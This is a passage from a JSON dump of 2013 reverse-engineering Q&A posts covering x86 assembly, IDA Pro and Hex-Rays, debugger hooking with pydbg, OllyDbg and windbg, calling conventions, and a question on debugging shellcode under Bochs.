windbg</p>\n\n<p>for example peb and peb_ldr_data can be viewed like this</p>\n\n<pre><code>dt nt!_PEB\ndt nt!_PEB_LDR_DATA\n</code></pre>\n\n<p>Additional Details</p>\n\n<p>if you modify the .h file to add another structure member like this</p>\n\n<pre><code>typedef struct EPROCESS \n{\n  BYTE unknown[0x84];\n  DWORD Pid;\n  BYTE unk2[0xbc-0x88];\n  DWORD DebugPort;\n  BYTE unknown1[0x174-0xc0];\n  BYTE ImageFileName[16];\n} EPROCESS, *PEPROCESS;\n</code></pre>\n\n<p>Be Aware you would need to delete the earlier definitions before parsing the header file again and this implies all your earlier work will be lost on reloading \nso save your work</p>\n"
    },
    {
        "Id": "2620",
        "CreationDate": "2013-08-11T20:43:36.953",
        "Body": "<p>I am having trouble understanding how this code knows when to stop looping. I am supposed to figure out what values are put into %edi. But I can't figure out how many times it loops.</p>\n\n<pre><code>0x40106e      movl   $0x2b,0xffffffdc(%ebp)\n0x401075      movl   $0x31,0xffffffe4(%ebp)\n0x40107c      movl   $0x74,0xffffffec(%ebp)\n0x401083      movl   $0x19,0xffffffe8(%ebp)\n0x40108a      movl   $0x7,0xffffffd8(%ebp)\n0x401091      movl   $0x14,0xffffffe0(%ebp)\n0x401098      mov    $0xdead,%edi\n0x40109d      mov    $0x2,%ecx\n0x4010a2      mov    %ecx,%esi\n0x4010a4      mov    $0x3,%ecx\n0x4010a9      mov    $0x2,%ebx\n0x4010ae      sub    %esi,%ebx\n0x4010b0      imul   $0xc,%ebx,%ebx\n0x4010b3      mov    $0x3,%edx\n0x4010b8      sub    %ecx,%edx\n0x4010ba      lea    0xffffffd8(%ebp),%eax\n0x4010bd      lea    (%ebx,%edx,4),%ebx\n0x4010c0      add    %ebx,%eax\n0x4010c2      mov    (%eax),%edi\n0x4010c4      loop   0x4010a9\n0x4010c6      mov    %esi,%ecx\n0x4010c8      loop   0x4010a2\n0x4010ca      mov    $0xbeef,%edi\n</code></pre>\n\n<p>Edit: I now understand the looping logic. However I am having a hard time following all the values getting moved around. I am stuck here <code>lea    0xffffffd8(%ebp),%eax</code> \nHow do I know what %ebp is?</p>\n",
        "Title": "Understanding assembly loop",
        "Tags": "|assembly|",
        "Answer": "<p>there are 2 loops in the code:</p>\n\n<blockquote>\n  <p>0x40109d      mov    $0x2,%ecx<br>\n  <strong><em>0x4010a2</em></strong>      mov    %ecx,%esi<br>\n  0x4010a4      mov    $0x3,%ecx<br>\n  <strong>0x4010a9</strong>      mov    $0x2,%ebx<br>\n  ...<br>\n       first loop<br>\n  ...<br>\n  0x4010c4      <strong>loop   0x4010a9</strong><br>\n  0x4010c6      mov    %esi,%ecx<br>\n       second loop<br>\n  0x4010c8      <strong><em>loop   0x4010a2</em></strong>  </p>\n</blockquote>\n\n<ul>\n<li>first goes three times as <strong>3</strong> was moved into <strong>%ecx</strong> at 0x4010a4  </li>\n<li>second loop will go two times as 2 was moved into <strong>%ecx</strong> at 0x40109d and saved at %esi before %ecx was used further inside the first loop.</li>\n</ul>\n\n<p>In addition here is information about <a href=\"http://pdos.csail.mit.edu/6.828/2006/readings/i386/LOOP.htm\" rel=\"nofollow\">LOOP</a> opcode  </p>\n\n<blockquote>\n  <p>0x4010ba      lea    0xffffffd8(%ebp),%eax</p>\n</blockquote>\n\n<p>This mean that %eax got the address from calculating  %ebp+0xffffffd8  </p>\n\n<blockquote>\n  <p>0x4010bd      lea    (%ebx,%edx,4),%ebx</p>\n</blockquote>\n\n<p>This one is where %ebx = %ebx + %edx * 4</p>\n\n<blockquote>\n  <p>0x4010c0      add    %ebx,%eax</p>\n</blockquote>\n\n<p>Here %ebx is added to %eax</p>\n\n<blockquote>\n  <p>0x4010c2      mov    (%eax),%edi</p>\n</blockquote>\n\n<p>Finally %edi gets the data that %eax points to.</p>\n\n<p>A <a href=\"http://en.wikipedia.org/wiki/X86_assembly_language\" rel=\"nofollow\">small asm</a> reference. </p>\n"
    },
    {
        "Id": "2627",
        "CreationDate": "2013-08-12T16:00:50.820",
        "Body": "<p>I just found a strange instruction by assembling (with <code>gas</code>) and disassembling (with <code>objdump</code>) on a <code>amd64</code> architecture.</p>\n\n<p>The original <code>amd64</code> assembly code is:</p>\n\n<pre><code>mov 0x89abcdef, %al\n</code></pre>\n\n<p>And, after <code>gas</code> compiled it (I am using the following command line: <code>gcc -m64 -march=i686 -c -o myobjectfile myassemblycode.s</code>), <code>objdump</code> gives the following code:</p>\n\n<pre><code>a0 df ce ab 89 00 00    movabs 0x89abcdef, %al\n</code></pre>\n\n<p>My problem is that I cannot find any <code>movabs</code>, nor <code>movab</code> in the Intel assembly manual (not even a <code>mova</code> instruction).</p>\n\n<p>So, I am dreaming ? What is the meaning of this instruction ? My guess is that it is a quirks from the GNU binutils, but I am not sure of it.</p>\n\n<p>PS: I checked precisely the spelling of this instruction, so it is NOT a <code>movaps</code> instruction for sure.</p>\n",
        "Title": "What is the meaning of movabs in gas/x86 AT&T syntax?",
        "Tags": "|x86|amd64|",
        "Answer": "<h2>Initialization of local variables with movabs</h2>\n<p>Yes this instruction should move absolute hardcoded data embedded into instruction itself into register,\nor data from absolute address. But I got into this instruction only recently when I wanted to know where constant data for initialization of local variables are because I didnt find them in <em>.rodata</em> ELF section.</p>\n<p>So basically GCC uses this instruction to initialize automatic variables on stack!</p>\n<p>Lets dive into code to find out how this instruction is used.\nAs we see in this code example  we have local variable <em>test</em> initialized:</p>\n<p><a href=\"https://i.stack.imgur.com/TdZka.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TdZka.png\" alt=\"enter image description here\" /></a></p>\n<p>We know that local variables are put in stack and I was interested to know\nwhere and how local variables get initialized.</p>\n<p>When we dump .text section with objdump we see that this constant <em>0x41414141414141</em> is realy embedded in the code itself:</p>\n<pre><code>000000000000116c &lt;get_message2&gt;:\n116c:   f3 0f 1e fa             endbr64 \n1170:   55                      push   %rbp\n1171:   48 89 e5                mov    %rsp,%rbp\n1174:   48 83 ec 10             sub    $0x10,%rsp\n1178:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax\n117f:   00 00 \n1181:   48 89 45 f8             mov    %rax,-0x8(%rbp)\n1185:   31 c0                   xor    %eax,%eax\n1187:   48 b8 41 41 41 41 41    movabs $0x41414141414141,%rax\n118e:   41 41 00 \n</code></pre>\n<hr />\n<p>As we see disassembled function and register content from GDB:</p>\n<p><a href=\"https://i.stack.imgur.com/exmLP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/exmLP.png\" alt=\"enter image description here\" /></a></p>\n<p>So when we look at code we see that this string <em>test</em>, in HEX notation <em>0x0x41414141414141</em> is hardcoded in <strong>movabs</strong> instruction, and is put in <strong>rax</strong> register, and then content of <strong>rax</strong> register is put on address in <strong>rbp</strong> minus offset 0x10:</p>\n<pre><code>   0x000055555555517d &lt;+27&gt;:    movabs $0x41414141414141,%rax\n   0x0000555555555187 &lt;+37&gt;:    mov    %rax,-0x10(%rbp)\n</code></pre>\n<p>So this local string will be placed on address <strong>0x7fffffffdde0</strong> - <strong>0x10</strong>\nWe see that this local string is placed in stack frame of function\non address <strong>0x7fffffffddd0</strong>, and this we see when we dump the stack:</p>\n<pre><code>(gdb) x/16gx $sp\n0x7fffffffddd0: 0x0041414141414141  0x6a8574f1d6812b00\n0x7fffffffdde0: 0x00007fffffffddf0  0x000055555555515b\n0x7fffffffddf0: 0x0000000000000001  0x00007ffff7daad90 \n</code></pre>\n<p>So we ended with initialized local string on a stack just as we expected.</p>\n"
    },
    {
        "Id": "2632",
        "CreationDate": "2013-08-12T21:16:13.600",
        "Body": "<p>Does anyone know of projects that parse the disassembly from IDA Pro using a lexer and/or parser generator library? But I would also totally be fine with JSON or XML format. So far, I have been able to produce HTML from the GUI, but I am looking for a command line tool that will parse disassembly files produced by IDA Pro.   </p>\n",
        "Title": "Parsing IDA Pro .asm files",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>You'd be better off using IDC functions like <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/274.shtml\" rel=\"noreferrer\">GetMnem()</a>, <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/276.shtml\" rel=\"noreferrer\">GetOpType()</a>, <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/277.shtml\" rel=\"noreferrer\">GetOperandValue()</a>, etc. to extract IDA's disassembly than exporting to JSON/XML.</p>\n\n<p>You can use <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"noreferrer\">command-line switches</a> to run IDA in batch-mode with your IDC script to automate the entire process.</p>\n"
    },
    {
        "Id": "2640",
        "CreationDate": "2013-08-14T14:51:22.127",
        "Body": "<p>The <a href=\"https://github.com/jbangert/trapcc/\" rel=\"noreferrer\" title=\"link\">trapcc project</a> on Github by Sergey Bratus and Julian Bangert claims that using the Turing complete capabilities of x86 MMU it is possible for a code to escape the virtual machine using a single instruction (Move, Branch if Zero, Decrement). It does so by page faults and double faults. I tried to read the paper but it seemed too puzzling. Is the idea feasible?</p>\n",
        "Title": "Virtual Machine escape through page faults",
        "Tags": "|virtual-machines|",
        "Answer": "<p>In fact, they do not claim at all to evade from any virtual machine. But, by using the MMU fault handler mechanism to perform computation, they expect to render the encapsulation of their program unpractical. Indeed, the point is to find unexpected primitives to perform computation, doing so only a few virtual machine environments will be able handle such specific programs. And, even if they do, a virtual machine is managed by an hypervisor which will probably be overwhelmed by the handling of all the interrupt signals that such a program requires. </p>\n\n<p>So, in fact, they propose a way of programming that is as powerful as C (Turing-complete) but that will be extremely tedious to run in a virtualized environment.</p>\n\n<p>Of course, the goal of this is to slow down the analysis of the program when run in a virtual machine (this is to be compared to the anti-debug techniques to avoid dynamic analysis).</p>\n"
    },
    {
        "Id": "2652",
        "CreationDate": "2013-08-17T14:15:30.363",
        "Body": "<p>I am not able to understand exact difference in Digital Forensic and Reverse Engineering. Will Digital Forensic has anything to do with decompilation, assembly code reading or debugging?</p>\n",
        "Title": "What is difference between Digital Forensic and Reverse Engineering",
        "Tags": "|tools|disassembly|decompilation|debuggers|digital-forensics|",
        "Answer": "<p>At a <em>very</em> high level...</p>\n\n<p>Reverse engineering typically focuses on recovering the functional specifications of code.</p>\n\n<p>Digital forensics typically focuses on recovering data.</p>\n"
    },
    {
        "Id": "2657",
        "CreationDate": "2013-08-18T10:05:41.350",
        "Body": "<p>I've got a program that i'm trying to debug a little bit by trying to make sense of a function or two, there's already some info that i've downloaded via a idb file and it's helped me get somewhere. But i'm kind of stuck on a part where i've got something like this:</p>\n\n<pre><code>BYTE3(v1) = 0;\n</code></pre>\n\n<p>This is from the ida hex-rays plugin which has made some nice c-pseudo code for me. I can't double click the function and get it translated in some way so i don't really know how to understand what it does, my guess is that it takes either the third or fourth byte of an int. So my question is, how would i be able to find this function and look at it's disassembly at least if it can't be translated by hex-rays? The signature if that helps at all looks like this according to ida: <code>_BYTE __fastcall(int)</code></p>\n",
        "Title": "BYTE3, does it mean the third or fourth byte of an int? IDB file that's already supplied",
        "Tags": "|disassembly|ida|c|c++|",
        "Answer": "<p>All Hex-Rays macros are defined in <strong>&lt;IDA directory&gt;\\plugins\\defs.h</strong>. It's also available at <a href=\"https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h\" rel=\"nofollow noreferrer\">https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h</a></p>\n\n<p>For <code>BYTE3(x)</code>:</p>\n\n<pre><code>...\n#define BYTEn(x, n)   (*((_BYTE*)&amp;(x)+n))\n...\n#define BYTE3(x)   BYTEn(x,  3)\n...\n</code></pre>\n\n<p>So <code>BYTE3(x)</code> yields <code>(*((_BYTE*)&amp;(x)+3))</code>, which effectively means the fourth byte of the value <code>x</code>.</p>\n"
    },
    {
        "Id": "2662",
        "CreationDate": "2013-08-21T03:25:13.687",
        "Body": "<p>I'm reverse engineering a Visual Basic application and I've run into a big of a sticky situation, so I was hoping that someone might have an opinion on a way to approach it. It's basically a crackme but I haven't been able to nail down where the callback code is for the function I'm looking for. I've found the labels and captions but I was hoping for an intelligent way to start looking at the binary instead of crawling through it from top to bottom until I find the right comparison.</p>\n\n<p>I've taken a look at the output of VB Decompiler but the output isn't matching up to what I'm used to.</p>\n\n<p><img src=\"https://i31.photobucket.com/albums/c367/Fewmitz/decomp_zpsc874945f.png\" alt=\"here&#39;s the output from VB Decompiler\"></p>\n\n<p>In other VB apps it seems like the locations given there is enough to get started and find the callbacks, but not with this one: <img src=\"https://i31.photobucket.com/albums/c367/Fewmitz/nocodes_zpsc79f980d.png\" alt=\"this is what I get when trying to find any of the actual code\">. </p>\n\n<p>I thought at first the code was just being rendered poorly in the debugger but after playing around with it I don't think that location is correct at all. So I'm looking for ideas on where to go from here.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Complications reverse engineering a Visual Basic application",
        "Tags": "|crackme|visual-basic|",
        "Answer": "<p>This is probably P-code compiled file, not native code. Try WKT Debugger:</p>\n\n<p><a href=\"http://www.woodmann.com/collaborative/tools/index.php/Whiskey_Kon_Tequilla_VB_P-Code_Debugger\" rel=\"nofollow\">http://www.woodmann.com/collaborative/tools/index.php/Whiskey_Kon_Tequilla_VB_P-Code_Debugger</a></p>\n"
    },
    {
        "Id": "2664",
        "CreationDate": "2013-08-21T08:12:37.187",
        "Body": "<p>I would like to decompile the Linux <code>.so</code> files.</p>\n\n<ul>\n<li>Any tool to decompile <code>.so</code> files in MS-Windows based operating system ?</li>\n<li>Any tools/methods to decompile <code>.so</code> files ?</li>\n</ul>\n",
        "Title": "How to decompile Linux .so library files from a MS-Windows OS?",
        "Tags": "|tools|decompilation|decompile|",
        "Answer": "<p>you can use hteditor by seppel  if disassembly is ok \n<a href=\"http://hte.sourceforge.net/\" rel=\"nofollow\">http://hte.sourceforge.net/</a></p>\n\n<p>copy the .so file from linux machine with say samba</p>\n\n<p>and feed the so file to hteditor </p>\n\n<p>a sample using libc.so.6 from a damn small linux  </p>\n\n<p>assuming samba is up and running  in vm and a shared folder in windows host is created \nsay <code>c:\\sharedwithvm</code></p>\n\n<pre><code>from the linux machine \n</code></pre>\n\n<p>cp  ../..../lib/libc.so.6 /mnt//sharedwithvm  </p>\n\n<pre><code>in the windows machine \n\nC:\\&gt;cd sharedwithvm\n\nC:\\sharedwithvm&gt;dir /b\nlibc.so.6\n\nC:\\sharedwithvm&gt;f:\\hteditor\\2022\\ht-2.0.22-win32.exe libc.so.6\n</code></pre>\n\n<p>hteditor will open with hex view  </p>\n\n<pre><code>f6 select elf\\image\n\nf8 symbols type fo\n\n60490 \u2502 func \u2502 fopen                                \u25b2\n</code></pre>\n\n<p>double click to view the disassembly</p>\n\n<pre><code>&lt;.text&gt; @00060490  push ebp\nfopen+0\n   ..... ! ;********************************************************\n   ..... ! ; function fopen (global)\n   ..... ! ;********************************************************\n   ..... ! fopen:                          ;xref c189a7 c262da c74722\n   ..... !                                 ;xref c93c74 c94cd5 cd23c4\n   ..... !                                 ;xref cd3617 cd37c6 cd3a1a\n   ..... !                                 ;xref cd7061 cd717f cd729f\n   ..... !                                 ;xref ce50e3 ce67e6 ce7581\n   ..... !                                 ;xref cef095 cf0302\n   ..... !   push        ebp\n   60491 !   mov         ebp, esp\n   60493 !   sub         esp, 18h\n   60496 !   mov         [ebp-4], ebx\n   60499 !   mov         eax, [ebp+0ch]\n   6049c !   call        sub_15c8d\n   604a1 !   add         ebx, offset_cab57\n   604a7 !   mov         dword ptr [esp+8], 1\n   604af !   mov         [esp+4], eax\n   604b3 !   mov         eax, [ebp+8]\n</code></pre>\n"
    },
    {
        "Id": "2668",
        "CreationDate": "2013-08-21T17:42:30.590",
        "Body": "<p>Using <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">APIMonitor</a> from Rohitab I found that DrawTextA has some additional arguments I would like to log using Python and <a href=\"https://github.com/OpenRCE/pydbg\" rel=\"nofollow noreferrer\">Pydbg</a> (I'm currently logging lpchText, se below).</p>\n\n<p><img src=\"https://i.stack.imgur.com/wBbN6.png\" alt=\"DrawTextA\"></p>\n\n<p>My current hooking code looks something like this:</p>\n\n<pre><code>def DrawTextHook(dbg, args):\n   # Log lpchText\n   text = dbg.get_ascii_string(incremental_read(dbg, args[1], 255))\n</code></pre>\n\n<p>The argument I would like to log is <strong>lpRect</strong> and <strong>uFormat</strong>. How do I extend my currrent code to log these two arguments?</p>\n",
        "Title": "Logging lpRect and uFormat from DrawTextA",
        "Tags": "|python|",
        "Answer": "<p>if you <code>really</code> ask me i will say <code>dump pydbg</code> and start using <code>logged ollydbg conditional break points</code> it will give you the function's arguments cleanly formatted into its components or even windbg</p>\n\n<p>you asked pydbg here is how you can do it in pydbg</p>\n\n<pre><code>from pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):   \n   if pydbg.first_breakpoint:\n    return DBG_CONTINUE\n\n   arg1 =   dbg.get_arg(1,dbg.context)\n   arg2 =   dbg.get_arg(2,dbg.context)\n   arg3 =   dbg.get_arg(3,dbg.context)\n   arg4 =   dbg.get_arg(4,dbg.context)\n   arg5 =   dbg.get_arg(5,dbg.context)\n   text =   dbg.read_process_memory(arg2,0x20)\n   lprect = dbg.read_process_memory(arg4,0x10)\n\n   print \"hDc = %08x\\nText = %08x %s\\nCount = %08x\\nlpRect = %08x %s\\nuFormat = %08x\\n\" % (arg1,arg2,pydbg.get_unicode_string(text),arg3,arg4,lprect,arg5)\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(2708)\nDrawTextW = dbg.func_resolve(\"user32\", \"DrawTextW\")\ndbg.bp_set(DrawTextW)\npydbg.debug_event_loop(dbg)\n</code></pre>\n\n<p>and an output for calc.exe (uses DrawTextW not A)</p>\n\n<p>C:\\Python27\\Lib\\site-packages>python calc.py</p>\n\n<pre><code>hDc = 48010f0d\nText = 000b85fe Sta\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 4b010f0d\nText = 000b85fe Sta\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 6c010ea9\nText = 000b8668 tan\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 79010ea9\nText = 000b8668 tan\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 7c010f0d\nText = 000b8688 x^2\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 8e010f0d\nText = 000b8688 x^2\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = ab010ea9\nText = 000b869e 1/x\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = bf010ea9\nText = 000b869e 1/x\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n</code></pre>\n\n<p>if you want to change to ollydbg </p>\n\n<p>c:> ollydbg.exe calc.exe</p>\n\n<pre><code>alt+e -&gt; select calc.exe -&gt; ctrl+N -&gt;Start typing Draw-&gt;select and rightclick -&gt;follow import in disassembler -&gt;shift + f4-&gt; enable radio log function arguments to always \nleave all else to default and hit ok and f9 to run the exe\n</code></pre>\n\n<p>ollydbg will log all the arguments (you can selectively log only args you want also)\nlike  log only if hDc = XXX and Text == X^2 and Uformat != y </p>\n\n<p>a sample output from ollydbg running calc.ex and loggging function arguments to DrawTextW</p>\n\n<pre><code>7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = DA011041\n             Text = \"Sta\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = DB010B34\n             Text = \"Ave\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = A0010D69\n             Text = \"Sum\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n</code></pre>\n\n<p>With windbg do this </p>\n\n<pre><code>bp USER32!DrawTextW \".printf \\\"Text=%mu\\\\nRect.L=%x\\\\nRect.R=%x\\\\n\\\",poi(esp+8),poi(poi(esp+10)+8),poi(poi(esp+10)+c);gc\"\n</code></pre>\n\n<p>windbg conditinal bp output</p>\n\n<pre><code>0:001&gt; g\nText=F-E\nRect.L=24\nRect.R=1d\nText=dms\nRect.L=24\nRect.R=1d\nText=sin\nRect.L=24\nRect.R=1d\nText=cos\nRect.L=24\nRect.R=1d\nText=tan\nRect.L=24\nRect.R=1d\nText=(\nRect.L=24\n</code></pre>\n"
    },
    {
        "Id": "2673",
        "CreationDate": "2013-08-22T15:37:52.227",
        "Body": "<p>I am looking at some x86 code, which I believe was built using a Microsoft tool chain, and am trying to figure out the calling convention used during this call:</p>\n\n<pre><code>   push esi ; save ESI (it gets restored later)\n   lea esi, [ebp-0xC] ; set param 1 for call to FOO\n   call FOO\n   test eax, eax ; test return value\n   jz somelabel\n</code></pre>\n\n<p>The function FOO starts like this:</p>\n\n<pre><code>   FOO:\n   mov edi, edi\n   push ebx\n   xor ebx, ebx\n   push ebx ; null\n   push esi ; pass ESI in as second param to upcoming call, which has been set by caller\n   push ptr blah\n   mov [esi+0x8], ebx\n   mov [esi+0x4], ebx\n   mov [esi], ebx\n   call InterlockedCompareExchange ; known stdcall func which takes 3 params\n   test eax, eax\n   ...\n</code></pre>\n\n<p>as ESI is not initialized in the body of FOO, I have assumed it is passed in as a param by the caller.</p>\n\n<p>What is this calling convention? It looks to be a variant of fastcall. Is there a name for this convention?</p>\n",
        "Title": "What x86 calling convention passes first parameter via ESI?",
        "Tags": "|x86|calling-conventions|",
        "Answer": "<p>There is no \"official\" calling convention that works like that. What you're seeing is most likely the result of <a href=\"http://msdn.microsoft.com/en-us/magazine/cc301698.aspx\">Link-time Code Generation</a>, also known as LTO (Link-time optimization) or WPO (<a href=\"http://msdn.microsoft.com/en-us//library/0zza0de8.aspx\">Whole program optimization</a>).</p>\n\n<p>When it is enabled, the optimization and code generation is done at link time, when the compiler has access to the code of whole program and all compile units, and can use this information for the more extreme optimizations.</p>\n\n<p>From <a href=\"http://msdn.microsoft.com/en-us/library/xbf3tbeh.aspx\">MSDN</a>:</p>\n\n<blockquote>\n  <p>When /LTCG is used to link modules compiled by using /Og, /O1, /O2, or\n  /Ox, the following optimizations are performed: </p>\n  \n  <ul>\n  <li><p>Cross-module inlining</p></li>\n  <li><p>Interprocedural register allocation (64-bit operating systems only)</p></li>\n  <li><p><strong>Custom calling convention</strong> (x86 only)</p></li>\n  <li><p>Small TLS displacement (x86 only)</p></li>\n  <li><p>Stack double alignment (x86 only)</p></li>\n  <li><p>Improved memory disambiguation (better interference information for global variables and input parameters)</p></li>\n  </ul>\n</blockquote>\n\n<p>In the code snippet you quoted the compiler detected that the function <code>FOO</code> is not called from outside of the program, so it could customize the calling convention to something that uses register values already set up at the place of call, or otherwise improve register allocation. With heavily templated code you can even get several copies of often-used functions that accept arguments in different sets of registers and/or stack.</p>\n"
    },
    {
        "Id": "2677",
        "CreationDate": "2013-08-23T14:22:42.517",
        "Body": "<p>Does anyone know if there exists an online service which provides the same functionalities as the <a href=\"https://github.com/Rendered79/metasploit/blob/master/tools/nasm_shell.rb\" rel=\"noreferrer\">Metasploit NASM shell</a> ?</p>\n\n<p>Probably the above script can be ported to a standalone tool but I'm not very confident with Ruby, so if someone knows something already implemented, it will be helpful.</p>\n",
        "Title": "Is there an online service which provides the same functionalities as the Metasploit NASM shell?",
        "Tags": "|shellcode|metasploit|nasm|",
        "Answer": "<p>There are several online tools providing a disassembling service. Here is a (non-exhaustive) list:</p>\n\n<ul>\n<li><a href=\"http://www.onlinedisassembler.com/odaweb/\" rel=\"nofollow\">ODAweb</a> (probably the most known);</li>\n<li><a href=\"http://pyms86.appspot.com/\" rel=\"nofollow\">Pym's online disassembler</a>;</li>\n<li><a href=\"http://code.google.com/p/pvphp/\" rel=\"nofollow\">PVPHP</a>;</li>\n<li><a href=\"http://udis86.sourceforge.net/\" rel=\"nofollow\">Udis86</a>;</li>\n<li><a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"nofollow\">Defuse online x86 assembler</a> (a bit out-of-topic, but we never know).</li>\n</ul>\n"
    },
    {
        "Id": "2678",
        "CreationDate": "2013-08-23T15:01:18.240",
        "Body": "<p>I encountered a strange x86-32 instruction (opcode <code>0x65</code>) decoded by <code>objdump</code> as <code>gs</code> (not <code>%gs</code> but <code>gs</code>). I found it while a full linear sweep of a binary (<code>objdump -D</code>), so the decoding was surely incorrect. But, still, <code>objdump</code> didn't decode it as a <code>(bad)</code> instruction, so it means that it can be encountered and I would like to know what does it means.</p>\n\n<p>Here is an example of this instruction:</p>\n\n<pre><code>080484fc &lt;_IO_stdin_used&gt;:\n 80484fc:       01 00                   add    %eax,(%eax)\n 80484fe:       02 00                   add    (%eax),%al\n 8048500:       48                      dec    %eax\n 8048501:       65                      gs     &lt;======================= Here!!!\n 8048502:       6c                      insb   (%dx),%es:(%edi)\n 8048503:       6c                      insb   (%dx),%es:(%edi)\n 8048504:       6f                      outsl  %ds:(%esi),(%dx)\n 8048505:       20 57 6f                and    %dl,0x6f(%edi)\n 8048508:       72 6c                   jb     8048576 &lt;_IO_stdin_used+0x7a&gt;\n 804850a:       64 21 0a                and    %ecx,%fs:(%edx)\n 804850d:       00 44 6f 64             add    %al,0x64(%edi,%ebp,2)\n 8048511:       67 65 20 54 68          and    %dl,%gs:0x68(%si)\n 8048516:       69                      .byte 0x69\n 8048517:       73 21                   jae    804853a &lt;_IO_stdin_used+0x3e&gt;\n</code></pre>\n\n<p>Note that searching for this instruction on the Web is quite difficult because of the <code>%gs</code> register which mask all other possible hit.</p>\n\n<p>So, is it a real \"instruction\" or is it glitch produced by <code>gas</code> ?</p>\n",
        "Title": "GAS/x86 disassembled a bare gs register as an instruction, is it a bug?",
        "Tags": "|disassembly|x86|objdump|",
        "Answer": "<p>Strictly speaking it's not an instruction. It's the segment override prefix (prefixes are considered to be part of the instruction).</p>\n\n<p>Most memory accesses use <code>DS</code> segment selector by default except those involving <code>ESP</code> or <code>EBP</code> register (they default to <code>SS</code>) and some \"string\" instructions (<code>movs</code>, <code>scas</code> etc). Segment override prefixes allow you to use another segment selector to access your data. E.g. in DOS times the <code>CS</code> override was commonly used to access data stored in the code segment (such as jump tables):</p>\n\n<pre><code>seg001:00EA shl bx, 1 ; SWITCH\nseg001:00EC jmp cs:off_13158[bx] ; switch jump\n...\nseg001:0588 off_13158  dw offset loc_12DD7 ; DATA XREF: _main+E6r\nseg001:0588            dw offset loc_12DE5 ; jump table for switch statement\nseg001:0588            dw offset loc_12DE5\nseg001:0588            dw offset loc_12DE5\n</code></pre>\n\n<p>The 80386 added two extra segment registers (<code>GS</code> and <code>FS</code>) and the corresponding prefixes.</p>\n\n<p>Since the <code>GS</code> prefix does not actually affect the following instruction (<code>insb</code>) in the code snipped above, GAS opted out for printing it on a separate line.</p>\n\n<p>In some of the following instructions you can see how it affects the disassembly:</p>\n\n<pre><code>64 21 0a       -&gt;  and %ecx, %fs:(%edx)\n^^                           ^^^\n67 65 20 54 68 -&gt; and %dl, %gs:0x68(%si)\n   ^^                      ^^^\n</code></pre>\n\n<p>BTW, 67 is another prefix, this time the <em>address size</em> override. It is why the instruction uses the 16-bit <code>SI</code> register and not the full <code>ESI</code>.</p>\n"
    },
    {
        "Id": "2685",
        "CreationDate": "2013-08-24T20:46:46.823",
        "Body": "<p>I am using the Local Bochs Debugger along with IDA Pro to debug a shellcode. This shellcode disassembles properly in IDA Pro, however, now I want to debug it.</p>\n\n<p>I tried debugging but since the configuration of Bochs is bare metal, it will not be able to execute some code properly, for instance:</p>\n\n<pre><code>xor eax, eax\nmov eax, dword ptr fs:[eax+0x30] // PEB\n</code></pre>\n\n<p>Since PEB is a structure defined in the Windows Operating System, Bochs does not execute this code properly (does not load the PEB address in eax).</p>\n\n<p>Simiarly, other sections of code which parse the kernel32.dll structure to find various API addresses also does not work.</p>\n\n<p>How can I debug the shellcode with IDA Pro and Bochs Debugger?</p>\n\n<p>I also have the following:</p>\n\n<pre><code>Windows XP SP3 Guest OS running in VMWare workstation.\nIDA Pro running on the host OS.\n</code></pre>\n\n<p>Is it possible to place the shellcode.txt file inside the Guest OS and then debug it using IDA Pro on the host OS? I think in this case, the Windows Debugger, windbg's engine can be used.</p>\n\n<p>What will be the configuration? In the following article:</p>\n\n<p><a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf\">https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf</a></p>\n\n<p>It describes how to debug a remote process running on Windows. But in my case, it is not a process but a shellcode loaded from a text file.</p>\n",
        "Title": "Debugging Shellcode with Bochs and IDA Pro",
        "Tags": "|ida|",
